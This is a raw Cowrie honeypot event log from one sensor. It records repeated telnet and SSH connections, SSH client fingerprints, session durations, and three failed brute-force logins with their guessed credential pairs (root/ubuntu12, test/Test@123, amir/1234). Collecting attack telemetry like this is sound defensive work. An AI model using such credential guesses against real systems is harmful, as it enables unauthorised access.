{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38690,"dst_ip":"159.203.135.109","dst_port":23,"session":"6758f8082165","protocol":"telnet","message":"New connection: 38.60.198.128:38690 (159.203.135.109:23) [session: 6758f8082165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:16.274915Z"}
{"eventid":"cowrie.session.closed","duration":42.88711071014404,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:17.551571Z","src_ip":"38.60.198.128","session":"1e1c518457c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42336,"dst_ip":"159.203.135.109","dst_port":23,"session":"346b68140152","protocol":"telnet","message":"New connection: 38.60.198.128:42336 (159.203.135.109:23) [session: 346b68140152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:18.667174Z"}
{"eventid":"cowrie.session.closed","duration":38.0828275680542,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:19.114190Z","src_ip":"38.60.198.128","session":"ced6bfbcddff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.96421551704407,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:21.488246Z","src_ip":"38.60.198.128","session":"96b5b3301076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49892,"dst_ip":"159.203.135.109","dst_port":23,"session":"172169a1842c","protocol":"telnet","message":"New connection: 38.60.198.128:49892 (159.203.135.109:23) [session: 172169a1842c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:24.713940Z"}
{"eventid":"cowrie.session.closed","duration":2.25394606590271,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:26.967767Z","src_ip":"38.60.198.128","session":"172169a1842c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00250291824341,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:27.703213Z","src_ip":"186.53.42.196","session":"aca851479d1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":57594,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd662e062483","protocol":"ssh","message":"New connection: 115.68.208.117:57594 (10.17.0.5:22) [session: cd662e062483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:29.087825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:29.093205Z","src_ip":"115.68.208.117","session":"cd662e062483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:29.308441Z","src_ip":"115.68.208.117","session":"cd662e062483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu12","message":"login attempt [root/ubuntu12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:30.228263Z","src_ip":"115.68.208.117","session":"cd662e062483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.23123502731323,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:30.742112Z","src_ip":"38.60.198.128","session":"02261c44b2a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0011773109436,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:30.997535Z","src_ip":"186.53.42.196","session":"cfb6cf220f9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.97736382484436,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:31.005059Z","src_ip":"38.60.198.128","session":"e5aedc4e12e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:31.447243Z","src_ip":"115.68.208.117","session":"cd662e062483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58842,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c30edb4caa3","protocol":"telnet","message":"New connection: 38.60.198.128:58842 (159.203.135.109:23) [session: 0c30edb4caa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:32.073909Z"}
{"eventid":"cowrie.session.closed","duration":50.203388929367065,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:34.107397Z","src_ip":"38.60.198.128","session":"ddbf1fd13ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.79887771606445,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:34.427430Z","src_ip":"38.60.198.128","session":"c47a3cd969ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35864,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6868fb38018","protocol":"telnet","message":"New connection: 38.60.198.128:35864 (159.203.135.109:23) [session: e6868fb38018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:36.173757Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36328,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eac2e83fb01","protocol":"telnet","message":"New connection: 38.60.198.128:36328 (159.203.135.109:23) [session: 7eac2e83fb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:36.542498Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42166,"dst_ip":"10.17.0.5","dst_port":23,"session":"f274bf87187b","protocol":"telnet","message":"New connection: 38.54.119.93:42166 (10.17.0.5:23) [session: f274bf87187b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:36.634861Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58660,"dst_ip":"159.203.135.109","dst_port":23,"session":"75713ead7550","protocol":"telnet","message":"New connection: 38.60.198.128:58660 (159.203.135.109:23) [session: 75713ead7550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:38.884432Z"}
{"eventid":"cowrie.session.closed","duration":38.43879842758179,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:39.084858Z","src_ip":"38.60.198.128","session":"207595cbefba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41576,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a6e55789989","protocol":"telnet","message":"New connection: 38.60.198.128:41576 (159.203.135.109:23) [session: 5a6e55789989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:40.976046Z"}
{"eventid":"cowrie.session.closed","duration":4.79575514793396,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:41.430322Z","src_ip":"38.54.119.93","session":"f274bf87187b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.75226879119873,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:41.565371Z","src_ip":"38.60.198.128","session":"b79aef5adebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.3500783443450928,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:42.234419Z","src_ip":"38.60.198.128","session":"75713ead7550","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.59045743942261,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:42.342773Z","src_ip":"38.60.198.128","session":"0cee3c30e98e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.71392774581909,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:42.729172Z","src_ip":"38.60.198.128","session":"7fb52ac38e49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46052,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c6644a76be2","protocol":"telnet","message":"New connection: 38.60.198.128:46052 (159.203.135.109:23) [session: 5c6644a76be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:44.613680Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50254,"dst_ip":"159.203.135.109","dst_port":23,"session":"704ff051048a","protocol":"telnet","message":"New connection: 38.60.198.128:50254 (159.203.135.109:23) [session: 704ff051048a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:49.166395Z"}
{"eventid":"cowrie.session.closed","duration":4.905025005340576,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:49.518573Z","src_ip":"38.60.198.128","session":"5c6644a76be2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54134,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d8642ee5d78","protocol":"telnet","message":"New connection: 38.60.198.128:54134 (159.203.135.109:23) [session: 6d8642ee5d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:51.956446Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53970,"dst_ip":"10.17.0.5","dst_port":23,"session":"801b1ca4fbe9","protocol":"telnet","message":"New connection: 38.54.119.93:53970 (10.17.0.5:23) [session: 801b1ca4fbe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:54.534953Z"}
{"eventid":"cowrie.session.closed","duration":41.91768145561218,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:55.698220Z","src_ip":"38.54.119.93","session":"887d99411d56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.84079623222351,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:56.556284Z","src_ip":"38.60.198.128","session":"1eff8d3bdda9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.13418984413147,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:38:58.408969Z","src_ip":"38.60.198.128","session":"6758f8082165","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.93146324157715,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:00.042630Z","src_ip":"38.60.198.128","session":"b51a9751a9fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37914,"dst_ip":"159.203.135.109","dst_port":23,"session":"eabb40c4cff2","protocol":"telnet","message":"New connection: 38.60.198.128:37914 (159.203.135.109:23) [session: eabb40c4cff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:00.193282Z"}
{"eventid":"cowrie.session.closed","duration":7.5040998458862305,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:02.038935Z","src_ip":"38.54.119.93","session":"801b1ca4fbe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.23592948913574,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:02.375114Z","src_ip":"38.60.198.128","session":"6cfaa99459fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":51740,"dst_ip":"10.17.0.5","dst_port":22,"session":"98cae39dd193","protocol":"ssh","message":"New connection: 186.113.245.157:51740 (10.17.0.5:22) [session: 98cae39dd193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:03.413197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:03.418984Z","src_ip":"186.113.245.157","session":"98cae39dd193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:03.514093Z","src_ip":"186.113.245.157","session":"98cae39dd193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42460,"dst_ip":"159.203.135.109","dst_port":23,"session":"58495dbb2ddf","protocol":"telnet","message":"New connection: 38.60.198.128:42460 (159.203.135.109:23) [session: 58495dbb2ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:03.775738Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42604,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb07f6e1d8e2","protocol":"telnet","message":"New connection: 38.60.198.128:42604 (159.203.135.109:23) [session: fb07f6e1d8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:03.898913Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test@123","message":"login attempt [test/Test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:03.908447Z","src_ip":"186.113.245.157","session":"98cae39dd193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.53.42.196","src_port":52848,"dst_ip":"10.17.0.5","dst_port":23,"session":"16376ee11a7f","protocol":"telnet","message":"New connection: 186.53.42.196:52848 (10.17.0.5:23) [session: 16376ee11a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:04.015796Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:05.001781Z","src_ip":"186.113.245.157","session":"98cae39dd193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.99819326400757,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:08.665235Z","src_ip":"38.60.198.128","session":"346b68140152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52794,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cc796988482","protocol":"telnet","message":"New connection: 192.211.53.160:52794 (159.203.135.109:23) [session: 3cc796988482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:09.900381Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52796,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c572a2cc8a6","protocol":"telnet","message":"New connection: 192.211.53.160:52796 (159.203.135.109:23) [session: 3c572a2cc8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:10.885232Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":53100,"dst_ip":"159.203.135.109","dst_port":23,"session":"69ce5ff2726b","protocol":"telnet","message":"New connection: 192.211.53.160:53100 (159.203.135.109:23) [session: 69ce5ff2726b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:10.990220Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51338,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d8e91887085","protocol":"telnet","message":"New connection: 38.60.198.128:51338 (159.203.135.109:23) [session: 0d8e91887085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:11.753513Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55342,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b6b90d45c02","protocol":"telnet","message":"New connection: 38.60.198.128:55342 (159.203.135.109:23) [session: 2b6b90d45c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:13.490340Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":53952,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aa5be788be7","protocol":"telnet","message":"New connection: 192.211.53.160:53952 (159.203.135.109:23) [session: 1aa5be788be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:13.938985Z"}
{"eventid":"cowrie.session.closed","duration":43.25678062438965,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:15.330563Z","src_ip":"38.60.198.128","session":"0c30edb4caa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.81243109703064,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:17.986060Z","src_ip":"38.60.198.128","session":"e6868fb38018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34520,"dst_ip":"159.203.135.109","dst_port":23,"session":"52b78ef7d0af","protocol":"telnet","message":"New connection: 38.60.198.128:34520 (159.203.135.109:23) [session: 52b78ef7d0af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:19.309920Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":56318,"dst_ip":"159.203.135.109","dst_port":22,"session":"337e61832e99","protocol":"ssh","message":"New connection: 186.10.86.130:56318 (159.203.135.109:22) [session: 337e61832e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:20.429611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:20.436110Z","src_ip":"186.10.86.130","session":"337e61832e99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:20.581814Z","src_ip":"186.10.86.130","session":"337e61832e99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"1234","message":"login attempt [amir/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:21.197261Z","src_ip":"186.10.86.130","session":"337e61832e99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.88213133811951,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:21.858070Z","src_ip":"38.60.198.128","session":"5a6e55789989","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:22.344530Z","src_ip":"186.10.86.130","session":"337e61832e99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.21252369880676,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:23.754926Z","src_ip":"38.60.198.128","session":"7eac2e83fb01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41434,"dst_ip":"159.203.135.109","dst_port":23,"session":"815f913984e0","protocol":"telnet","message":"New connection: 38.60.198.128:41434 (159.203.135.109:23) [session: 815f913984e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:39:24.528039Z"}
